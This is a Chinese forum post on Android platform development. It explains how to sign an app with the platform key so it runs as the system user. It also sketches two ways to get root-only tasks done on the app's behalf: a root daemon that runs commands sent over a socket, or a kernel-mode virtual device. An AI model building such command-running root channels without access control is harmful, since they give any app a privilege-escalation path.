1. 在應用程序的AndroidManifest.xml中的manifest節點中加入android:sharedUserId="android.uid.system"這個屬性。
2. 修改Android.mk文件,加入LOCAL_CERTIFICATE := platform這一行
3. 使用mm命令來編譯,生成的apk就有修改系統時間的權限了。
     一般情況下system用戶可以在系統中創建和刪除文件,訪問設備等等。但是有些情況下system權限還是不夠的。比如:設置網卡IP地址,ifconfig命令是需要root權限的。我可以很肯定的說,在Android下面應用程序是沒有可能拿到root權限的。但是如果我的應用程序需要root權限怎麼辦呢?只能想辦法繞般過去。就以我的問題為例,設置網卡IP地址,root權限下面命令為:
ifconfig eth0 192.168.1.188

在普通用戶或者system用戶權限下面這條命令是不起作用的,但是不會返回失敗和異常,那麼怎樣實現這個功能呢。
1、系統啟動的時候init進程創建一個後台進程,該進程處於root用戶權限下面。用來監聽系統中應用程序的請求(可以用socket實現),並代其完成。這樣應用程序就可以執行root用戶權限的任務了。
2、實現一個虛擬的設備,該設備的功能就是在內核態幫應用程序執行相應的命令。Linux內核態沒有權限的問題了。肯定可以執行成功。
     解決設置網卡IP地址問題時,選擇是後者相對來說設計比較簡單。

最新評論



Archiver|手機版|小黑屋|免責聲明|TShopping

GMT+8, 2024-3-29 14:28 , Processed in 0.051257 second(s), 22 queries .

本論壇言論純屬發表者個人意見,與 TShopping綜合論壇 立場無關 如有意見侵犯了您的權益 請寫信聯絡我們。

Powered by Discuz! X3.2

© 2001-2013 Comsenz Inc.

返回頂部